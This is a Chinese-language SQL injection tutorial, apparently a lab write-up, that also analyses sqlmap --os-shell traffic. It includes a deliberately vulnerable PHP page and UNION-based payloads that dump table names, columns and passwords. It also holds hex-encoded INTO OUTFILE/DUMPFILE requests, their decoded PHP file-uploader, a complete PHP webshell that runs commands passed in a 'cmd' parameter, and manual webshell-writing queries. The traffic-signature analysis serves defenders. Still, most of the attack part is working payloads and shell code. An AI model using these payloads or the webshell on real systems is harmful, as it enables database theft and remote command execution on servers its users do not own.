sql注入

作为经典中的经典基础中的基础,也是入门必然接触的东西,不得不深入好好品鉴一番(

sql注入本质上是数据sql代码没有过滤用户内容的错误拼接

类似代码

$id = $_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这种,直接通过GET传参就可以控制sql语句

简单分类

  • 整数注入
  • 字符形注入
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • 堆叠注入

注入方法与shell写入

order判断与联合查询

简单写了一个php和一个表

CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL UNIQUE
);
<?php

if(isset($_GET['id'])){
$host = 'localhost';
$dbname = 'testsql';
$user = 'root';
$pass = 'b409797a01eaf960';


$conn = mysqli_connect($host, $user,$pass, $dbname);
mysqli_select_db($conn,$dbname);

$id = $_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
    

echo $row['id'];
echo $row['email'];
echo $row['username'];
}
?>

order by+union select在我看来是最简单的一种注入方法,目前体感也相对少见,union直译可为联合,在sql中作为将两个查询语句粘连在一起例如

SELECT * FROM users WHERE id=1 UNION SELECT * FROM users WHERE id=2 LIMIT 100

image.png

这个语句查询了两个id的内容,并放到了一起,但其实select语句是非常灵活的,只需要列数相等,内容完全可以自定义,所以无论是函数,数字,字符都可以显示如下

image.png

也就是说 我们可以在select中再创建一个查询语句完成自定义的查询

SELECT * FROM users WHERE id=1 union select 1,(SELECT email FROM users WHERE id=3),2

image.png

order 直译为“排序” 他的作用为顺序排列某列的内容,例如

SELECT * FROM users WHERE id BETWEEN 1 and 100 ORDER BY username LIMIT 100

当然除了使用列名也可以使用列数,也就是说上面的语句与下面的语句效果相同

SELECT * FROM users WHERE id BETWEEN 1 and 100 ORDER BY 2 LIMIT 100

image.png

但是一旦超越存在的列数就会报错,如下图。

image.png

了解了以上的基础内容,就可以开始靶场实战

image.png

image.png

image.png

在快速解决第一个问题后尝试获取其他表中的passwd 通过database()可知当前库为192_168_56_102_8那么,就可以尝试获取其所有的表,这里涉及两个知识点一个是GROUP_CONCAT聚合函数一个是information_schema数据库,information_schema数据库是在mysql 5.0.1引入的,其用于存储数据库的元数据,也包括了所有数据库的所有表,我们需要重点关注以下的两个表一个是TABLES一个是COLUMNS,前者用于查询表后者,当然后者也可用于表查询,灵活运用即可

使用方法如下

SELECT table_name
FROM information_schema.tables
WHERE table_schema = '192_168_56_102_8';

若需要在sql注入中使用则需要加上GROUP_CONCAT 函数将多个输出聚合为一个

SELECT GROUP_CONCAT(table_name) as alltab
FROM information_schema.tables
WHERE table_schema = '192_168_56_102_8';

那么完整的payload就是

union select 1,(SELECT GROUP_CONCAT(table_name) AS alltab FROM information_schema.tables WHERE table_schema = '192_168_56_102_8'),3 -- -

image.png

这样就获得了当前数据库中的所有数据表,同时我们也可以尝试使用查询columns表来获取所有所有数据表,sql语句除了将tables换成columns以外都不变,即

union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) AS all_tab  FROM information_schema.COLUMNS WHERE TABLE_SCHEMA="192_168_56_102_8"),3 -- -

image.png

用这个语句,在查询的查询表的同时,也可以得知其中有多少字段,因为他的表结构是这样的

image.png

然后接下来查columns表中的column_name字段来获取字段

union select 1,(SELECT GROUP_CONCAT(COLUMN_NAME) AS all_tab  FROM information_schema.COLUMNS WHERE TABLE_NAME="password"),3 -- -

在知道表中的所有字段后再构造payload获取表中所有值

union select 1,(SELECT GROUP_CONCAT(id,username,password) as all_data FROM password),3 -- -

image.png

shell写入与sqlmap –os-shell的流量特征

你是管理员吗?:是

你知道网站根目录吗?:是

好,这台服务器是你的了

————mysql

最简单的方法就是用sqlmap梭哈,要求是mysql的my.ini或者my.cnf需要开启secure_file_priv,及

[mysqld]
secure_file_priv=''

–os-shell 流量特征

在我搭建的靶场中,os-shell在完成第一次check通信后就开始了攻击行为,流量包为

GET /sql.php?id=-3978%27%20OR%201007%3D1007%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fwww%2Fwwwroot%2Ftmpurpbc.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7777772f777777726f6f742f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.8#stable (https://sqlmap.org)
Host: 192.168.56.102:8083
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

解码后为

id=-3978' OR 1007=1007 LIMIT 0,1 INTO OUTFILE '/www/wwwroot/tmpurpbc.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7777772f777777726f6f742f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -

不难看出 其尝试使用outfile输出一串十六进制的到了/www/wwwroot/tmpurpbc.php这个文件中

outfile本来的作用是将查询到的数据输出到某个文件中,而LINES TERMINATED BY 在正常语句中的作用是用于在每行添加一个分隔符,而这里利用一个空查询将一串十六进制输出到了指定的文件夹,而mysql会将十六进制处理成字符后输出

image.png

SELECT * FROM users WHERE id=1 OR 1007=1007 LIMIT 0,1 INTO OUTFILE '/www/wwwroot/192.168.56.102_8083/Helloword.php' LINES TERMINATED BY 0x48656C6C6F576F7264 -- -

所以在sqlmap写shell中,重点并不是控制查询内容,而是利用一般用于结束输出分隔符的LINES TERMINATED BY来写入恶意代码

image.png

回到他尝试写入的内容,经过十六进制解码后内容为

<?php
// 判断是否接收到名为"upload"的请求
if (isset($_REQUEST["upload"])) {
    // 获取请求中的"uploadDir"参数,即上传文件的目标目录
    $dir =$_REQUEST["uploadDir"];
    // 判断PHP版本是否低于4.1.0
    if (phpversion() < "4.1.0") {
        // 如果是低于4.1.0的版本,使用旧式的$HTTP_POST_FILES数组来获取上传的文件信息
        $file =$HTTP_POST_FILES["file"]["name"];
        // 尝试将上传的文件移动到指定目录,如果失败则终止脚本执行
        @move_uploaded_file(
            $HTTP_POST_FILES["file"]["tmp_name"],
            $dir . "/" .$file
        ) or die();
    } else {
        // 如果是4.1.0或更高版本的PHP,使用$_FILES数组来获取上传的文件信息
        $file =$_FILES["file"]["name"];
        // 尝试将上传的文件移动到指定目录,如果失败则终止脚本执行
        @move_uploaded_file($_FILES["file"]["tmp_name"],$dir . "/" . $file) or
            die();
    }
    // 设置上传文件的权限为0755
    @chmod($dir . "/" .$file, 0755);
    // 输出"File uploaded"表示文件上传成功
    echo "File uploaded";
} else {
    // 如果没有接收到上传请求,则输出一个文件上传的表单
    echo "<form action=" .
        $_SERVER["PHP_SELF"] . // 使用$_SERVER["PHP_SELF"]获取当前脚本的URL,用于表单的action属性
        " method=POST enctype=multipart/form-data>" . // 表单使用POST方法,并设置enctype为multipart/form-data,以支持文件上传
        "<input type=hidden name=MAX_FILE_SIZE value=1000000000>" . // 设置隐藏字段MAX_FILE_SIZE,限制上传文件大小为1000000000字节
        "<b>sqlmap file uploader</b><br>" . // 表单标题
        "<input name=file type=file><br>" . // 文件选择输入
        "to directory: <input type=text name=uploadDir value=/www/wwwroot/>" . // 文件上传目录输入,默认值为/www/wwwroot/
        " <input type=submit name=upload value=upload>" . // 上传按钮
        "</form>";
}
?>

显而易见,一个文件上传的php代码,还做了版本检查,不再追述,继续看os-shell的流量

image.png

这里有一个很有意思的访问流量,sqlmap在上传恶意文件后会从根目录开始尝试访问,逐层递减,这里总共访问了三次,而后接着三个访问的攻击流量

image.png

分别为

-5634 UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7777772f777777726f6f742f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL,NULL INTO DUMPFILE '/www/wwwroot/tmpuljgk.php'-- -
-4601 UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7777772f777777726f6f742f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL,NULL INTO DUMPFILE '/www/wwwroot/tmpuljgk.php'-- -
-2168 UNION ALL SELECT NULL,NULL,CONCAT(0x716a707871,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7777772f777777726f6f742f746d70756c6a676b2e706870)) AS CHAR),0x20),0x717a6a7171)-- -

前两个内容是一致的,都尝试使用了DUMPFILE往/www/wwwroot目录中写文件,第三个则是用于读取文件长度,主要用到了以下函数,从内到外LOAD_FILE LENGTH CAST IFNULL CONCAT,LOAD_FILE用于读取文件LENGET用于获取字符串长度,CAST用于转换数据类型,IFNULL用于判断是否为空,CONCAT则用于粘连字符串,结合来看不难得出如果成功那么返回值应该为qjpxq[文件长度或空格]qzjq,继续跟踪流量又可以看见规律的文件读取操作

image.png

这可以算是osshell操作的一个强特征点,在这之后osshell向根目录发送了一个OUTFILE写文件请求,猜测他是通过错误回显来完成根目录的读取,因为在ctfhub中尝试时并未出现自动获取根目录的情况,就这点而言,相当智能。

-7122 OR 1598=1598 LIMIT 0,1 INTO OUTFILE '/www/wwwroot/192.168.56.102_8083/tmpudcyk.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7777772f777777726f6f742f3139322e3136382e35362e3130325f383038332f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -

image.png

image.png

在完成写入后,osshell又进行了一次以文件路径递减的方式尝试读取木马

image.png

所写入的文件就是前面提取出来的php文件上传脚本,在成功访问到后osshell会立刻上传木马

image.png

木马如下:

<?php
// 从请求参数中获取名为 "cmd" 的值,赋值给变量 $c
$c = $_REQUEST["cmd"];

// 设置脚本的最大执行时间为无限(0表示没有时间限制)
@set_time_limit(0);

// 即使客户端断开连接,继续执行脚本
@ignore_user_abort(1);

// 设置脚本的最大执行时间为无限(0表示没有时间限制)
@ini_set("max_execution_time", 0);

// 获取 PHP 配置中禁用的函数列表
$z = @ini_get("disable_functions");

// 如果禁用函数列表不为空
if (!empty($z)) {
    // 将禁用函数列表中的逗号和空格替换为单个逗号
    $z = preg_replace("/[, ]+/", ',', $z);
    // 将禁用函数列表转换为数组
    $z = explode(',', $z);
    // 去除数组中每个元素的空白字符
    $z = array_map("trim", $z);
} else {
    // 如果禁用函数列表为空,初始化为空数组
    $z = array();
}

// 将命令附加重定向错误输出到标准输出
$c = $c . " 2>&1\n";

// 定义一个函数 f,用于检查函数是否可调用且不在禁用函数列表中
function f($n) {
    global $z;
    return is_callable($n) and !in_array($n, $z);
}

// 检查 system 函数是否可用
if (f("system")) {
    // 开启输出缓冲
    ob_start();
    // 执行命令
    system($c);
    // 获取输出缓冲区内容并清除
    $w = ob_get_clean();
// 检查 proc_open 函数是否可用
} elseif (f("proc_open")) {
    // 打开进程管道
    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
    $w = NULL;
    // 读取进程输出
    while (!feof($t[1])) {
        $w .= fread($t[1], 512);
    }
    // 关闭进程管道
    @proc_close($y);
// 检查 shell_exec 函数是否可用
} elseif (f("shell_exec")) {
    // 执行命令并获取输出
    $w = shell_exec($c);
// 检查 passthru 函数是否可用
} elseif (f("passthru")) {
    // 开启输出缓冲
    ob_start();
    // 执行命令
    passthru($c);
    // 获取输出缓冲区内容并清除
    $w = ob_get_clean();
// 检查 popen 函数是否可用
} elseif (f("popen")) {
    // 打开进程管道
    $x = popen($c, r);
    $w = NULL;
    // 读取进程输出
    if (is_resource($x)) {
        while (!feof($x)) {
            $w .= fread($x, 512);
        }
    }
    // 关闭进程管道
    @pclose($x);
// 检查 exec 函数是否可用
} elseif (f("exec")) {
    $w = array();
    // 执行命令并将输出保存到数组
    exec($c, $w);
    // 将数组转换为字符串
    $w = join(chr(10), $w) . chr(10);
// 如果没有可用的命令执行函数
} else {
    $w = 0;
}

// 输出命令执行的结果
echo "<pre>$w</pre>";
?>

sqlmap所上传的并非我们常用的一句话木马,而是测试多个函数 (system, proc_open, shell_exec, passthru, popen, exec)来进行命令执行

小结:

sqlmap的osshell命令的流量规律其实特别好看,

  • 使用INTO OUTFILEINTO DUMPFILE写入上传文件,shell文件是经过了十六进制编码的

  • 他会使用INTO OUTFILEINTO DUMPFILE先写入一个php的文件上传脚本,而后使用这个上传脚本完成命令执行的php上传,所上传的php文件并非常见的一句话shell,而是多个命令执行函数复合的木马,接受cmd传参

  • 其尝试文件上传后会先尝试读取文件长度而后以文件路径递减访问方式访问可能存在木马的路径

手工shell写入

其实除开日志写shell 慢查询写shell,手工的写入方式与sqlmap差别不大,多是使用dumpfile与outfile,只不过手工写不会像sqlmap那么复杂

outfile与dumpfile:

其实两者的效果是一样的在联合查询的情况下都要构建出这样一个查询语句

SELECT * FROM users WHERE id=1 UNION SELECT 1,'<?php phpinfo();?>',3 INTO outFILE "/www/wwwroot/192.168.56.102_8083/outfile.php"
SELECT * FROM users WHERE id=1 UNION SELECT 1,'<?php phpinfo();?>',3 INTO dumpFILE "/www/wwwroot/192.168.56.102_8083/outfile.php"

image.png